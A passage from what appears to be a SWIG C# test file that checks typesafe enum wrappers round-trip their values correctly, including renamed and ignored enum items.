1 failed\");\n }\n {\n twonames val = twonames.TwoNames2;\n if (enum_thorough_typesafe.twonamesTest1(val) != val) throw new Exception(\"twonamesTest 1 failed\");\n if (enum_thorough_typesafe.twonamesTest2(val) != val) throw new Exception(\"twonamesTest 2 failed\");\n if (enum_thorough_typesafe.twonamesTest3(val) != val) throw new Exception(\"twonamesTest 3 failed\");\n }\n {\n TwoNamesStruct t = new TwoNamesStruct();\n TwoNamesStruct.twonames val = TwoNamesStruct.twonames.TwoNamesStruct1;\n if (t.twonamesTest1(val) != val) throw new Exception(\"twonamesTest 1 failed\");\n if (t.twonamesTest2(val) != val) throw new Exception(\"twonamesTest 2 failed\");\n if (t.twonamesTest3(val) != val) throw new Exception(\"twonamesTest 3 failed\");\n }\n {\n namedanonspace val = namedanonspace.NamedAnonSpace2;\n if (enum_thorough_typesafe.namedanonspaceTest1(val) != val) throw new Exception(\"namedanonspaceTest 1 failed\");\n if (enum_thorough_typesafe.namedanonspaceTest2(val) != val) throw new Exception(\"namedanonspaceTest 2 failed\");\n if (enum_thorough_typesafe.namedanonspaceTest3(val) != val) throw new Exception(\"namedanonspaceTest 3 failed\");\n if (enum_thorough_typesafe.namedanonspaceTest4(val) != val) throw new Exception(\"namedanonspaceTest 4 failed\");\n }\n {\n TemplateClassInt t = new TemplateClassInt();\n TemplateClassInt.scientists galileo = TemplateClassInt.scientists.galileo;\n\n if (t.scientistsTest1(galileo) != galileo) throw new Exception(\"scientistsTest 1 failed\");\n if (t.scientistsTest2(galileo) != galileo) throw new Exception(\"scientistsTest 2 failed\");\n if (t.scientistsTest3(galileo) != galileo) throw new Exception(\"scientistsTest 3 failed\");\n if (t.scientistsTest4(galileo) != galileo) throw new Exception(\"scientistsTest 4 failed\");\n if (t.scientistsTest5(galileo) != galileo) throw new Exception(\"scientistsTest 5 failed\");\n if (t.scientistsTest6(galileo) != galileo) throw new Exception(\"scientistsTest 6 failed\");\n if (t.scientistsTest7(galileo) != galileo) throw new Exception(\"scientistsTest 7 failed\");\n if (t.scientistsTest8(galileo) != galileo) throw new Exception(\"scientistsTest 8 failed\");\n if (t.scientistsTest9(galileo) != galileo) throw new Exception(\"scientistsTest 9 failed\");\n// if (t.scientistsTestA(galileo) != galileo) throw new Exception(\"scientistsTest A failed\");\n if (t.scientistsTestB(galileo) != galileo) throw new Exception(\"scientistsTest B failed\");\n// if (t.scientistsTestC(galileo) != galileo) throw new Exception(\"scientistsTest C failed\");\n if (t.scientistsTestD(galileo) != galileo) throw new Exception(\"scientistsTest D failed\");\n if (t.scientistsTestE(galileo) != galileo) throw new Exception(\"scientistsTest E failed\");\n if (t.scientistsTestF(galileo) != galileo) throw new Exception(\"scientistsTest F failed\");\n if (t.scientistsTestG(galileo) != galileo) throw new Exception(\"scientistsTest G failed\");\n if (t.scientistsTestH(galileo) != galileo) throw new Exception(\"scientistsTest H failed\");\n if (t.scientistsTestI(galileo) != galileo) throw new Exception(\"scientistsTest I failed\");\n if (t.scientistsTestJ(galileo) != galileo) throw new Exception(\"scientistsTest J failed\");\n\n if (enum_thorough_typesafe.scientistsTest1(galileo) != galileo) throw new Exception(\"scientistsTest Global 1 failed\");\n if (enum_thorough_typesafe.scientistsTest2(galileo) != galileo) throw new Exception(\"scientistsTest Global 2 failed\");\n if (enum_thorough_typesafe.scientistsTest3(galileo) != galileo) throw new Exception(\"scientistsTest Global 3 failed\");\n if (enum_thorough_typesafe.scientistsTest4(galileo) != galileo) throw new Exception(\"scientistsTest Global 4 failed\");\n if (enum_thorough_typesafe.scientistsTest5(galileo) != galileo) throw new Exception(\"scientistsTest Global 5 failed\");\n if (enum_thorough_typesafe.scientistsTest6(galileo) != galileo) throw new Exception(\"scientistsTest Global 6 failed\");\n if (enum_thorough_typesafe.scientistsTest7(galileo) != galileo) throw new Exception(\"scientistsTest Global 7 failed\");\n if (enum_thorough_typesafe.scientistsTest8(galileo) != galileo) throw new Exception(\"scientistsTest Global 8 failed\");\n }\n {\n TClassInt t = new TClassInt();\n TClassInt.scientists bell = TClassInt.scientists.bell;\n TemplateClassInt.scientists galileo = TemplateClassInt.scientists.galileo;\n if (t.scientistsNameTest1(bell) != bell) throw new Exception(\"scientistsNameTest 1 failed\");\n if (t.scientistsNameTest2(bell) != bell) throw new Exception(\"scientistsNameTest 2 failed\");\n if (t.scientistsNameTest3(bell) != bell) throw new Exception(\"scientistsNameTest 3 failed\");\n if (t.scientistsNameTest4(bell) != bell) throw new Exception(\"scientistsNameTest 4 failed\");\n if (t.scientistsNameTest5(bell) != bell) throw new Exception(\"scientistsNameTest 5 failed\");\n if (t.scientistsNameTest6(bell) != bell) throw new Exception(\"scientistsNameTest 6 failed\");\n if (t.scientistsNameTest7(bell) != bell) throw new Exception(\"scientistsNameTest 7 failed\");\n if (t.scientistsNameTest8(bell) != bell) throw new Exception(\"scientistsNameTest 8 failed\");\n if (t.scientistsNameTest9(bell) != bell) throw new Exception(\"scientistsNameTest 9 failed\");\n// if (t.scientistsNameTestA(bell) != bell) throw new Exception(\"scientistsNameTest A failed\");\n if (t.scientistsNameTestB(bell) != bell) throw new Exception(\"scientistsNameTest B failed\");\n// if (t.scientistsNameTestC(bell) != bell) throw new Exception(\"scientistsNameTest C failed\");\n if (t.scientistsNameTestD(bell) != bell) throw new Exception(\"scientistsNameTest D failed\");\n if (t.scientistsNameTestE(bell) != bell) throw new Exception(\"scientistsNameTest E failed\");\n if (t.scientistsNameTestF(bell) != bell) throw new Exception(\"scientistsNameTest F failed\");\n if (t.scientistsNameTestG(bell) != bell) throw new Exception(\"scientistsNameTest G failed\");\n if (t.scientistsNameTestH(bell) != bell) throw new Exception(\"scientistsNameTest H failed\");\n if (t.scientistsNameTestI(bell) != bell) throw new Exception(\"scientistsNameTest I failed\");\n\n if (t.scientistsNameSpaceTest1(bell) != bell) throw new Exception(\"scientistsNameSpaceTest 1 failed\");\n if (t.scientistsNameSpaceTest2(bell) != bell) throw new Exception(\"scientistsNameSpaceTest 2 failed\");\n if (t.scientistsNameSpaceTest3(bell) != bell) throw new Exception(\"scientistsNameSpaceTest 3 failed\");\n if (t.scientistsNameSpaceTest4(bell) != bell) throw new Exception(\"scientistsNameSpaceTest 4 failed\");\n if (t.scientistsNameSpaceTest5(bell) != bell) throw new Exception(\"scientistsNameSpaceTest 5 failed\");\n if (t.scientistsNameSpaceTest6(bell) != bell) throw new Exception(\"scientistsNameSpaceTest 6 failed\");\n if (t.scientistsNameSpaceTest7(bell) != bell) throw new Exception(\"scientistsNameSpaceTest 7 failed\");\n\n if (t.scientistsOtherTest1(galileo) != galileo) throw new Exception(\"scientistsOtherTest 1 failed\");\n if (t.scientistsOtherTest2(galileo) != galileo) throw new Exception(\"scientistsOtherTest 2 failed\");\n if (t.scientistsOtherTest3(galileo) != galileo) throw new Exception(\"scientistsOtherTest 3 failed\");\n if (t.scientistsOtherTest4(galileo) != galileo) throw new Exception(\"scientistsOtherTest 4 failed\");\n if (t.scientistsOtherTest5(galileo) != galileo) throw new Exception(\"scientistsOtherTest 5 failed\");\n if (t.scientistsOtherTest6(galileo) != galileo) throw new Exception(\"scientistsOtherTest 6 failed\");\n if (t.scientistsOtherTest7(galileo) != galileo) throw new Exception(\"scientistsOtherTest 7 failed\");\n\n if (enum_thorough_typesafe.scientistsNameTest1(bell) != bell) throw new Exception(\"scientistsNameTest Global 1 failed\");\n if (enum_thorough_typesafe.scientistsNameTest2(bell) != bell) throw new Exception(\"scientistsNameTest Global 2 failed\");\n if (enum_thorough_typesafe.scientistsNameTest3(bell) != bell) throw new Exception(\"scientistsNameTest Global 3 failed\");\n if (enum_thorough_typesafe.scientistsNameTest4(bell) != bell) throw new Exception(\"scientistsNameTest Global 4 failed\");\n if (enum_thorough_typesafe.scientistsNameTest5(bell) != bell) throw new Exception(\"scientistsNameTest Global 5 failed\");\n if (enum_thorough_typesafe.scientistsNameTest6(bell) != bell) throw new Exception(\"scientistsNameTest Global 6 failed\");\n if (enum_thorough_typesafe.scientistsNameTest7(bell) != bell) throw new Exception(\"scientistsNameTest Global 7 failed\");\n\n if (enum_thorough_typesafe.scientistsNameSpaceTest1(bell) != bell) throw new Exception(\"scientistsNameSpaceTest Global 1 failed\");\n if (enum_thorough_typesafe.scientistsNameSpaceTest2(bell) != bell) throw new Exception(\"scientistsNameSpaceTest Global 2 failed\");\n if (enum_thorough_typesafe.scientistsNameSpaceTest3(bell) != bell) throw new Exception(\"scientistsNameSpaceTest Global 3 failed\");\n if (enum_thorough_typesafe.scientistsNameSpaceTest4(bell) != bell) throw new Exception(\"scientistsNameSpaceTest Global 4 failed\");\n if (enum_thorough_typesafe.scientistsNameSpaceTest5(bell) != bell) throw new Exception(\"scientistsNameSpaceTest Global 5 failed\");\n if (enum_thorough_typesafe.scientistsNameSpaceTest6(bell) != bell) throw new Exception(\"scientistsNameSpaceTest Global 6 failed\");\n if (enum_thorough_typesafe.scientistsNameSpaceTest7(bell) != bell) throw new Exception(\"scientistsNameSpaceTest Global 7 failed\");\n\n if (enum_thorough_typesafe.scientistsNameSpaceTest8(bell) != bell) throw new Exception(\"scientistsNameSpaceTest Global 8 failed\");\n if (enum_thorough_typesafe.scientistsNameSpaceTest9(bell) != bell) throw new Exception(\"scientistsNameSpaceTest Global 9 failed\");\n if (enum_thorough_typesafe.scientistsNameSpaceTestA(bell) != bell) throw new Exception(\"scientistsNameSpaceTest Global A failed\");\n if (enum_thorough_typesafe.scientistsNameSpaceTestB(bell) != bell) throw new Exception(\"scientistsNameSpaceTest Global B failed\");\n if (enum_thorough_typesafe.scientistsNameSpaceTestC(bell) != bell) throw new Exception(\"scientistsNameSpaceTest Global C failed\");\n if (enum_thorough_typesafe.scientistsNameSpaceTestD(bell) != bell) throw new Exception(\"scientistsNameSpaceTest Global D failed\");\n if (enum_thorough_typesafe.scientistsNameSpaceTestE(bell) != bell) throw new Exception(\"scientistsNameSpaceTest Global E failed\");\n\n if (enum_thorough_typesafe.scientistsNameSpaceTestF(bell) != bell) throw new Exception(\"scientistsNameSpaceTest Global F failed\");\n if (enum_thorough_typesafe.scientistsNameSpaceTestG(bell) != bell) throw new Exception(\"scientistsNameSpaceTest Global G failed\");\n if (enum_thorough_typesafe.scientistsNameSpaceTestH(bell) != bell) throw new Exception(\"scientistsNameSpaceTest Global H failed\");\n if (enum_thorough_typesafe.scientistsNameSpaceTestI(bell) != bell) throw new Exception(\"scientistsNameSpaceTest Global I failed\");\n if (enum_thorough_typesafe.scientistsNameSpaceTestJ(bell) != bell) throw new Exception(\"scientistsNameSpaceTest Global J failed\");\n if (enum_thorough_typesafe.scientistsNameSpaceTestK(bell) != bell) throw new Exception(\"scientistsNameSpaceTest Global K failed\");\n if (enum_thorough_typesafe.scientistsNameSpaceTestL(bell) != bell) throw new Exception(\"scientistsNameSpaceTest Global L failed\");\n }\n {\n newname val = newname.argh;\n if (enum_thorough_typesafe.renameTest1(val) != val) throw new Exception(\"renameTest Global 1 failed\");\n if (enum_thorough_typesafe.renameTest2(val) != val) throw new Exception(\"renameTest Global 2 failed\");\n }\n {\n NewNameStruct n = new NewNameStruct();\n if (n.renameTest1(NewNameStruct.enumeration.bang) != NewNameStruct.enumeration.bang) throw new Exception(\"renameTest 1 failed\");\n if (n.renameTest2(NewNameStruct.enumeration.bang) != NewNameStruct.enumeration.bang) throw new Exception(\"renameTest 2 failed\");\n if (n.renameTest3(NewNameStruct.simplerenamed.simple1) != NewNameStruct.simplerenamed.simple1) throw new Exception(\"renameTest 3 failed\");\n if (n.renameTest4(NewNameStruct.doublenamerenamed.doublename1) != NewNameStruct.doublenamerenamed.doublename1) throw new Exception(\"renameTest 4 failed\");\n if (n.renameTest5(NewNameStruct.doublenamerenamed.doublename1) != NewNameStruct.doublenamerenamed.doublename1) throw new Exception(\"renameTest 5 failed\");\n if (n.renameTest6(NewNameStruct.singlenamerenamed.singlename1) != NewNameStruct.singlenamerenamed.singlename1) throw new Exception(\"renameTest 6 failed\");\n }\n {\n if (enum_thorough_typesafe.renameTest3(NewNameStruct.enumeration.bang) != NewNameStruct.enumeration.bang) throw new Exception(\"renameTest Global 3 failed\");\n if (enum_thorough_typesafe.renameTest4(NewNameStruct.simplerenamed.simple1) != NewNameStruct.simplerenamed.simple1) throw new Exception(\"renameTest Global 4 failed\");\n if (enum_thorough_typesafe.renameTest5(NewNameStruct.doublenamerenamed.doublename1) != NewNameStruct.doublenamerenamed.doublename1) throw new Exception(\"renameTest Global 5 failed\");\n if (enum_thorough_typesafe.renameTest6(NewNameStruct.doublenamerenamed.doublename1) != NewNameStruct.doublenamerenamed.doublename1) throw new Exception(\"renameTest Global 6 failed\");\n if (enum_thorough_typesafe.renameTest7(NewNameStruct.singlenamerenamed.singlename1) != NewNameStruct.singlenamerenamed.singlename1) throw new Exception(\"renameTest Global 7 failed\");\n }\n {\n TreesClass t = new TreesClass();\n TreesClass.trees pine = TreesClass.trees.pine;\n\n if (t.treesTest1(pine) != pine) throw new Exception(\"treesTest 1 failed\");\n if (t.treesTest2(pine) != pine) throw new Exception(\"treesTest 2 failed\");\n if (t.treesTest3(pine) != pine) throw new Exception(\"treesTest 3 failed\");\n if (t.treesTest4(pine) != pine) throw new Exception(\"treesTest 4 failed\");\n if (t.treesTest5(pine) != pine) throw new Exception(\"treesTest 5 failed\");\n if (t.treesTest6(pine) != pine) throw new Exception(\"treesTest 6 failed\");\n if (t.treesTest7(pine) != pine) throw new Exception(\"treesTest 7 failed\");\n if (t.treesTest8(pine) != pine) throw new Exception(\"treesTest 8 failed\");\n if (t.treesTest9(pine) != pine) throw new Exception(\"treesTest 9 failed\");\n if (t.treesTestA(pine) != pine) throw new Exception(\"treesTest A failed\");\n if (t.treesTestB(pine) != pine) throw new Exception(\"treesTest B failed\");\n if (t.treesTestC(pine) != pine) throw new Exception(\"treesTest C failed\");\n if (t.treesTestD(pine) != pine) throw new Exception(\"treesTest D failed\");\n if (t.treesTestE(pine) != pine) throw new Exception(\"treesTest E failed\");\n if (t.treesTestF(pine) != pine) throw new Exception(\"treesTest F failed\");\n if (t.treesTestG(pine) != pine) throw new Exception(\"treesTest G failed\");\n if (t.treesTestH(pine) != pine) throw new Exception(\"treesTest H failed\");\n if (t.treesTestI(pine) != pine) throw new Exception(\"treesTest I failed\");\n if (t.treesTestJ(pine) != pine) throw new Exception(\"treesTest J failed\");\n if (t.treesTestK(pine) != pine) throw new Exception(\"treesTest K failed\");\n if (t.treesTestL(pine) != pine) throw new Exception(\"treesTest L failed\");\n if (t.treesTestM(pine) != pine) throw new Exception(\"treesTest M failed\");\n if (t.treesTestN(pine) != pine) throw new Exception(\"treesTest N failed\");\n if (t.treesTestO(pine) != pine) throw new Exception(\"treesTest O failed\");\n\n if (enum_thorough_typesafe.treesTest1(pine) != pine) throw new Exception(\"treesTest Global 1 failed\");\n if (enum_thorough_typesafe.treesTest2(pine) != pine) throw new Exception(\"treesTest Global 2 failed\");\n if (enum_thorough_typesafe.treesTest3(pine) != pine) throw new Exception(\"treesTest Global 3 failed\");\n if (enum_thorough_typesafe.treesTest4(pine) != pine) throw new Exception(\"treesTest Global 4 failed\");\n if (enum_thorough_typesafe.treesTest5(pine) != pine) throw new Exception(\"treesTest Global 5 failed\");\n if (enum_thorough_typesafe.treesTest6(pine) != pine) throw new Exception(\"treesTest Global 6 failed\");\n if (enum_thorough_typesafe.treesTest7(pine) != pine) throw new Exception(\"treesTest Global 7 failed\");\n if (enum_thorough_typesafe.treesTest8(pine) != pine) throw new Exception(\"treesTest Global 8 failed\");\n if (enum_thorough_typesafe.treesTest9(pine) != pine) throw new Exception(\"treesTest Global 9 failed\");\n if (enum_thorough_typesafe.treesTestA(pine) != pine) throw new Exception(\"treesTest Global A failed\");\n if (enum_thorough_typesafe.treesTestB(pine) != pine) throw new Exception(\"treesTest Global B failed\");\n if (enum_thorough_typesafe.treesTestC(pine) != pine) throw new Exception(\"treesTest Global C failed\");\n if (enum_thorough_typesafe.treesTestD(pine) != pine) throw new Exception(\"treesTest Global D failed\");\n if (enum_thorough_typesafe.treesTestE(pine) != pine) throw new Exception(\"treesTest Global E failed\");\n if (enum_thorough_typesafe.treesTestF(pine) != pine) throw new Exception(\"treesTest Global F failed\");\n if (enum_thorough_typesafe.treesTestG(pine) != pine) throw new Exception(\"treesTest Global G failed\");\n if (enum_thorough_typesafe.treesTestH(pine) != pine) throw new Exception(\"treesTest Global H failed\");\n if (enum_thorough_typesafe.treesTestI(pine) != pine) throw new Exception(\"treesTest Global I failed\");\n if (enum_thorough_typesafe.treesTestJ(pine) != pine) throw new Exception(\"treesTest Global J failed\");\n if (enum_thorough_typesafe.treesTestK(pine) != pine) throw new Exception(\"treesTest Global K failed\");\n if (enum_thorough_typesafe.treesTestL(pine) != pine) throw new Exception(\"treesTest Global L failed\");\n if (enum_thorough_typesafe.treesTestM(pine) != pine) throw new Exception(\"treesTest Global M failed\");\n// if (enum_thorough_typesafe.treesTestN(pine) != pine) throw new Exception(\"treesTest Global N failed\");\n if (enum_thorough_typesafe.treesTestO(pine) != pine) throw new Exception(\"treesTest Global O failed\");\n if (enum_thorough_typesafe.treesTestP(pine) != pine) throw new Exception(\"treesTest Global P failed\");\n if (enum_thorough_typesafe.treesTestQ(pine) != pine) throw new Exception(\"treesTest Global Q failed\");\n if (enum_thorough_typesafe.treesTestR(pine) != pine) throw new Exception(\"treesTest Global R failed\");\n }\n {\n HairStruct h = new HairStruct();\n HairStruct.hair ginger = HairStruct.hair.ginger;\n\n if (h.hairTest1(ginger) != ginger) throw new Exception(\"hairTest 1 failed\");\n if (h.hairTest2(ginger) != ginger) throw new Exception(\"hairTest 2 failed\");\n if (h.hairTest3(ginger) != ginger) throw new Exception(\"hairTest 3 failed\");\n if (h.hairTest4(ginger) != ginger) throw new Exception(\"hairTest 4 failed\");\n if (h.hairTest5(ginger) != ginger) throw new Exception(\"hairTest 5 failed\");\n if (h.hairTest6(ginger) != ginger) throw new Exception(\"hairTest 6 failed\");\n if (h.hairTest7(ginger) != ginger) throw new Exception(\"hairTest 7 failed\");\n if (h.hairTest8(ginger) != ginger) throw new Exception(\"hairTest 8 failed\");\n if (h.hairTest9(ginger) != ginger) throw new Exception(\"hairTest 9 failed\");\n if (h.hairTestA(ginger) != ginger) throw new Exception(\"hairTest A failed\");\n if (h.hairTestB(ginger) != ginger) throw new Exception(\"hairTest B failed\");\n\n colour red = colour.red;\n if (h.colourTest1(red) != red) throw new Exception(\"colourTest HairStruct 1 failed\");\n if (h.colourTest2(red) != red) throw new Exception(\"colourTest HairStruct 2 failed\");\n if (h.namedanonTest1(namedanon.NamedAnon2) != namedanon.NamedAnon2) throw new Exception(\"namedanonTest HairStruct 1 failed\");\n if (h.namedanonspaceTest1(namedanonspace.NamedAnonSpace2) != namedanonspace.NamedAnonSpace2) throw new Exception(\"namedanonspaceTest HairStruct 1 failed\");\n\n TreesClass.trees fir = TreesClass.trees.fir;\n if (h.treesGlobalTest1(fir) != fir) throw new Exception(\"treesGlobalTest1 HairStruct 1 failed\");\n if (h.treesGlobalTest2(fir) != fir) throw new Exception(\"treesGlobalTest1 HairStruct 2 failed\");\n if (h.treesGlobalTest3(fir) != fir) throw new Exception(\"treesGlobalTest1 HairStruct 3 failed\");\n if (h.treesGlobalTest4(fir) != fir) throw new Exception(\"treesGlobalTest1 HairStruct 4 failed\");\n }\n {\n HairStruct.hair blonde = HairStruct.hair.blonde;\n if (enum_thorough_typesafe.hairTest1(blonde) != blonde) throw new Exception(\"hairTest Global 1 failed\");\n if (enum_thorough_typesafe.hairTest2(blonde) != blonde) throw new Exception(\"hairTest Global 2 failed\");\n if (enum_thorough_typesafe.hairTest3(blonde) != blonde) throw new Exception(\"hairTest Global 3 failed\");\n if (enum_thorough_typesafe.hairTest4(blonde) != blonde) throw new Exception(\"hairTest Global 4 failed\");\n if (enum_thorough_typesafe.hairTest5(blonde) != blonde) throw new Exception(\"hairTest Global 5 failed\");\n if (enum_thorough_typesafe.hairTest6(blonde) != blonde) throw new Exception(\"hairTest Global 6 failed\");\n if (enum_thorough_typesafe.hairTest7(blonde) != blonde) throw new Exception(\"hairTest Global 7 failed\");\n if (enum_thorough_typesafe.hairTest8(blonde) != blonde) throw new Exception(\"hairTest Global 8 failed\");\n if (enum_thorough_typesafe.hairTest9(blonde) != blonde) throw new Exception(\"hairTest Global 9 failed\");\n if (enum_thorough_typesafe.hairTestA(blonde) != blonde) throw new Exception(\"hairTest Global A failed\");\n if (enum_thorough_typesafe.hairTestB(blonde) != blonde) throw new Exception(\"hairTest Global B failed\");\n if (enum_thorough_typesafe.hairTestC(blonde) != blonde) throw new Exception(\"hairTest Global C failed\");\n\n if (enum_thorough_typesafe.hairTestA1(blonde) != blonde) throw new Exception(\"hairTest Global A1 failed\");\n if (enum_thorough_typesafe.hairTestA2(blonde) != blonde) throw new Exception(\"hairTest Global A2 failed\");\n if (enum_thorough_typesafe.hairTestA3(blonde) != blonde) throw new Exception(\"hairTest Global A3 failed\");\n if (enum_thorough_typesafe.hairTestA4(blonde) != blonde) throw new Exception(\"hairTest Global A4 failed\");\n if (enum_thorough_typesafe.hairTestA5(blonde) != blonde) throw new Exception(\"hairTest Global A5 failed\");\n if (enum_thorough_typesafe.hairTestA6(blonde) != blonde) throw new Exception(\"hairTest Global A6 failed\");\n if (enum_thorough_typesafe.hairTestA7(blonde) != blonde) throw new Exception(\"hairTest Global A7 failed\");\n if (enum_thorough_typesafe.hairTestA8(blonde) != blonde) throw new Exception(\"hairTest Global A8 failed\");\n if (enum_thorough_typesafe.hairTestA9(blonde) != blonde) throw new Exception(\"hairTest Global A9 failed\");\n if (enum_thorough_typesafe.hairTestAA(blonde) != blonde) throw new Exception(\"hairTest Global AA failed\");\n if (enum_thorough_typesafe.hairTestAB(blonde) != blonde) throw new Exception(\"hairTest Global AB failed\");\n if (enum_thorough_typesafe.hairTestAC(blonde) != blonde) throw new Exception(\"hairTest Global AC failed\");\n\n if (enum_thorough_typesafe.hairTestB1(blonde) != blonde) throw new Exception(\"hairTest Global B1 failed\");\n if (enum_thorough_typesafe.hairTestB2(blonde) != blonde) throw new Exception(\"hairTest Global B2 failed\");\n if (enum_thorough_typesafe.hairTestB3(blonde) != blonde) throw new Exception(\"hairTest Global B3 failed\");\n if (enum_thorough_typesafe.hairTestB4(blonde) != blonde) throw new Exception(\"hairTest Global B4 failed\");\n if (enum_thorough_typesafe.hairTestB5(blonde) != blonde) throw new Exception(\"hairTest Global B5 failed\");\n if (enum_thorough_typesafe.hairTestB6(blonde) != blonde) throw new Exception(\"hairTest Global B6 failed\");\n if (enum_thorough_typesafe.hairTestB7(blonde) != blonde) throw new Exception(\"hairTest Global B7 failed\");\n if (enum_thorough_typesafe.hairTestB8(blonde) != blonde) throw new Exception(\"hairTest Global B8 failed\");\n if (enum_thorough_typesafe.hairTestB9(blonde) != blonde) throw new Exception(\"hairTest Global B9 failed\");\n if (enum_thorough_typesafe.hairTestBA(blonde) != blonde) throw new Exception(\"hairTest Global BA failed\");\n if (enum_thorough_typesafe.hairTestBB(blonde) != blonde) throw new Exception(\"hairTest Global BB failed\");\n if (enum_thorough_typesafe.hairTestBC(blonde) != blonde) throw new Exception(\"hairTest Global BC failed\");\n\n if (enum_thorough_typesafe.hairTestC1(blonde) != blonde) throw new Exception(\"hairTest Global C1 failed\");\n if (enum_thorough_typesafe.hairTestC2(blonde) != blonde) throw new Exception(\"hairTest Global C2 failed\");\n if (enum_thorough_typesafe.hairTestC3(blonde) != blonde) throw new Exception(\"hairTest Global C3 failed\");\n if (enum_thorough_typesafe.hairTestC4(blonde) != blonde) throw new Exception(\"hairTest Global C4 failed\");\n if (enum_thorough_typesafe.hairTestC5(blonde) != blonde) throw new Exception(\"hairTest Global C5 failed\");\n if (enum_thorough_typesafe.hairTestC6(blonde) != blonde) throw new Exception(\"hairTest Global C6 failed\");\n if (enum_thorough_typesafe.hairTestC7(blonde) != blonde) throw new Exception(\"hairTest Global C7 failed\");\n if (enum_thorough_typesafe.hairTestC8(blonde) != blonde) throw new Exception(\"hairTest Global C8 failed\");\n if (enum_thorough_typesafe.hairTestC9(blonde) != blonde) throw new Exception(\"hairTest Global C9 failed\");\n if (enum_thorough_typesafe.hairTestCA(blonde) != blonde) throw new Exception(\"hairTest Global CA failed\");\n if (enum_thorough_typesafe.hairTestCB(blonde) != blonde) throw new Exception(\"hairTest Global CB failed\");\n if (enum_thorough_typesafe.hairTestCC(blonde) != blonde) throw new Exception(\"hairTest Global CC failed\");\n }\n {\n FirStruct f = new FirStruct();\n HairStruct.hair blonde = HairStruct.hair.blonde;\n\n if (f.hairTestFir1(blonde) != blonde) throw new Exception(\"hairTestFir 1 failed\");\n if (f.hairTestFir2(blonde) != blonde) throw new Exception(\"hairTestFir 2 failed\");\n if (f.hairTestFir3(blonde) != blonde) throw new Exception(\"hairTestFir 3 failed\");\n if (f.hairTestFir4(blonde) != blonde) throw new Exception(\"hairTestFir 4 failed\");\n if (f.hairTestFir5(blonde) != blonde) throw new Exception(\"hairTestFir 5 failed\");\n if (f.hairTestFir6(blonde) != blonde) throw new Exception(\"hairTestFir 6 failed\");\n if (f.hairTestFir7(blonde) != blonde) throw new Exception(\"hairTestFir 7 failed\");\n if (f.hairTestFir8(blonde) != blonde) throw new Exception(\"hairTestFir 8 failed\");\n if (f.hairTestFir9(blonde) != blonde) throw new Exception(\"hairTestFir 9 failed\");\n if (f.hairTestFirA(blonde) != blonde) throw new Exception(\"hairTestFir A failed\");\n }\n {\n enum_thorough_typesafe.GlobalInstance = enum_thorough_typesafe.globalinstance2;\n if (enum_thorough_typesafe.GlobalInstance != enum_thorough_typesafe.globalinstance2) throw new Exception(\"GlobalInstance 1 failed\");\n\n Instances i = new Instances();\n i.MemberInstance = Instances.memberinstance3;\n if (i.MemberInstance != Instances.memberinstance3) throw new Exception(\"MemberInstance 1 failed\");\n }\n // ignore enum item tests start\n {\n if (enum_thorough_typesafe.ignoreATest(IgnoreTest.IgnoreA.ignoreA_zero).swigValue != 0) throw new Exception(\"ignoreATest 0 failed\");\n if (enum_thorough_typesafe.ignoreATest(IgnoreTest.IgnoreA.ignoreA_three).swigValue != 3) throw new Exception(\"ignoreATest 3 failed\");\n if (enum_thorough_typesafe.ignoreATest(IgnoreTest.IgnoreA.ignoreA_ten).swigValue != 10) throw new Exception(\"ignoreATest 10 failed\");\n if (enum_thorough_typesafe.ignoreATest(IgnoreTest.IgnoreA.ignoreA_eleven).swigValue != 11) throw new Exception(\"ignoreATest 11 failed\");\n if (enum_thorough_typesafe.ignoreATest(IgnoreTest.IgnoreA.ignoreA_thirteen).swigValue != 13) throw new Exception(\"ignoreATest 13 failed\");\n if (enum_thorough_typesafe.ignoreATest(IgnoreTest.IgnoreA.ignoreA_fourteen).swigValue != 14) throw new Exception(\"ignoreATest 14 failed\");\n if (enum_thorough_typesafe.ignoreATest(IgnoreTest.IgnoreA.ignoreA_twenty).swigValue != 20) throw new Exception(\"ignoreATest 20 failed\");\n if (enum_thorough_typesafe.ignoreATest(IgnoreTest.IgnoreA.ignoreA_thirty).swigValue != 30) throw new Exception(\"ignoreATest 30 failed\");\n if (enum_thorough_typesafe.ignoreATest(IgnoreTest.IgnoreA.ignoreA_thirty_two).swigValue != 32) throw new Exception(\"ignoreATest 32 failed\");\n if (enum_thorough_typesafe.ignoreATest(IgnoreTest.IgnoreA.ignoreA_thirty_three).swigValue != 33) throw new Exception(\"ignoreATest 33 failed\");\n } \n { \n if (enum_thorough_typesafe.ignoreBTest(IgnoreTest.IgnoreB.ignoreB_eleven).swigValue != 11) throw new Exception(\"ignoreBTest 11 failed\");\n if (enum_thorough_typesafe.ignoreBTest(IgnoreTest.IgnoreB.ignoreB_twelve).swigValue != 12) throw new Exception(\"ignoreBTest 12 failed\");\n if (enum_thorough_typesafe.ignoreBTest(IgnoreTest.IgnoreB.ignoreB_thirty_one).swigValue != 31) throw new Exception(\"ignoreBTest 31 failed\");\n if (enum_thorough_typesafe.ignoreBTest(IgnoreTest.IgnoreB.ignoreB_thirty_two).swigValue != 32) throw new Exception(\"ignoreBTest 32 failed\");\n if (enum_thorough_typesafe.ignoreBTest(IgnoreTest.IgnoreB.ignoreB_forty_one).swigValue != 41) throw new Exception(\"ignoreBTest 41 failed\");\n if (enum_thorough_typesafe.ignoreBTest(IgnoreTest.IgnoreB.ignoreB_forty_two).swigValue != 42) throw new Exception(\"ignoreBTest 42 failed\");\n } \n { \n if (enum_thorough_typesafe.ignoreCTest(IgnoreTest.IgnoreC.ignoreC_ten).swigValue != 10) throw new Exception(\"ignoreCTest 10 failed\");\n if (enum_thorough_typesafe.ignoreCTest(IgnoreTest.IgnoreC.ignoreC_twelve).swigValue != 12) throw new Exception(\"ignoreCTest 12 failed\");\n if (enum_thorough_typesafe.ignoreCTest(IgnoreTest.IgnoreC.ignoreC_thirty).swigValue != 30) throw new Exception(\"ignoreCTest 30 failed\");\n if (enum_thorough_typesafe.ignoreCTest(IgnoreTest.IgnoreC.ignoreC_thirty_two).swigValue != 32) throw new Exception(\"ignoreCTest 32 failed\");\n if (enum_thorough_typesafe.ignoreCTest(IgnoreTest.IgnoreC.ignoreC_forty).swigValue != 40) throw new Exception(\"ignoreCTest 40 failed\");\n if (enum_thorough_typesafe.ignoreCTest(IgnoreTest.IgnoreC.ignoreC_forty_two).swigValue != 42) throw new Exception(\"ignoreCTest 42 failed\");\n } \n { \n if (enum_thorough_typesafe.ignoreDTest(IgnoreTest.IgnoreD.ignoreD_twenty_one).swigValue != 21) throw new Exception(\"ignoreDTest 21 failed\");\n if (enum_thorough_typesafe.ignoreDTest(IgnoreTest.IgnoreD.ignoreD_twenty_two).swigValue != 22) throw new 